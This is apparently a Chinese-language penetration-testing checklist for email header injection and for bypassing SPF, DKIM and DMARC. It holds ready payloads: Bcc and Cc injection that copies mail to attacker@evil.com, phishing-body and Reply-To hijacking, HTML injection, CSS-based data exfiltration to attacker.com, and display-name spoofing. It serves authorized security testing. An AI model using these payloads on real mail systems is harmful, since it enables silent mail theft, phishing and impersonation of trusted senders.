安全与风控
测试邮件功能时的邮件头注入与 SPF/DKIM/DMARC…
当目标存在联系表单、邮件 API、密码重置等由用户输入构造 SMTP 邮件的功能时,用于测试 CRLF 邮件头注入、邮件认证绕过与钓鱼放大。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
测试邮件功能时的邮件头注入与 SPF/D通用
解决思路
- 识别所有邮件发送功能:联系表单、密码重置、邀请/分享、订阅邮件等。
- 在每个字段注入 test%0d%0aX-Injected:true,检查收到的邮件头是否出现额外头,确认 CRLF 注入。
- 尝试多种编码变体:URL 编码 %0d%0a、双重 URL 编码 %250d%250a、Unicode \u000d\u000a、原始 \r\n、仅 LF %0a、空字节加 CRLF %00%0d%0a。
- BCC 注入:在 email/name/subject 字段注入 victim@target.com%0d%0aBcc:attacker@evil.com,实现静默邮件外泄。
- CC 注入与头堆叠:在 From name 字段注入 John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com。
- 正文注入:在 Subject 中注入 Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a,用空行终止头并控制正文。
- Reply-To 操纵:在 From name 注入 IT Support%0d%0aReply-To:attacker@evil.com,将回复重定向到攻击者。
- Content-Type 注入:注入 test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>...</h1><a href="https://evil.com">Click here</a>,使邮件客户端渲染 HTML。
- 检查常见易受攻击代码模式:PHP mail() 的 $to/$subject/$headers 均可注入;Python smtplib 拼接字符串时 user_from/user_subject 可注入;Node.js nodemailer 的 from/subject 可注入。
- SPF 绕过:检查 dig TXT target.com +short,利用子域委派(include:_spf.google.com)、include 链滥用、超过 10 次 DNS 查询导致 permerror、+all 配置错误、?all/~all 软失败、无 SPF 记录。
- DKIM 绕过:检查 dig TXT selector._domainkey.target.com +short(常见 selector:google、default、s1、s2、k1、dkim),利用 d= 与 From: 不匹配、l= 标签滥用、重放攻击、h= 未包含 from、密钥轮换窗口。
- DMARC 绕过:检查 dig TXT _dmarc.target.com +short,利用 relaxed alignment(aspf=r)、组织域对齐、无 DMARC 记录、p=none、子域策略 sp=none。
- 显示名欺骗:即使 SPF/DKIM/DMARC 严格,也可使用 From: "admin@target.com" <attacker@evil.com> 或 "IT Security Team - target.com" <random@evil.com>,移动客户端尤其易受影响。
- 邮件客户端渲染攻击:用 CSS 属性选择器外泄数据(#secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); });用 1x1 远程图片追踪打开与 IP;用表单 action 劫持钓鱼。
- 测试 REST API、URL 编码表单、GraphQL 的邮件注入:POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com"};name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com;mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" ...) }。
- 按决策树推进:确认 CRLF 后升级为 Bcc 外泄、正文控制、Reply-To 重定向;若编码被过滤则转向 SPF/DKIM/DMARC 检查;若仅正文可控则检查 HTML 注入。
- 密码重置邮件额外检查:URL 中 token 是否可配合 open redirect;是否存在 Host 头注入导致密码重置投毒。
适用边界 · 注意事项
- 目标邮件功能不接受用户输入进入邮件头(仅正文)时,CRLF 注入影响有限。
- 目标 SPF 为 -all 且 DMARC 为 p=reject 且 DKIM 严格对齐时,直接伪造域名邮件不可行,只能做显示名欺骗。
- 未获得目标授权进行邮件注入或伪造测试可能违法,仅限授权渗透测试场景。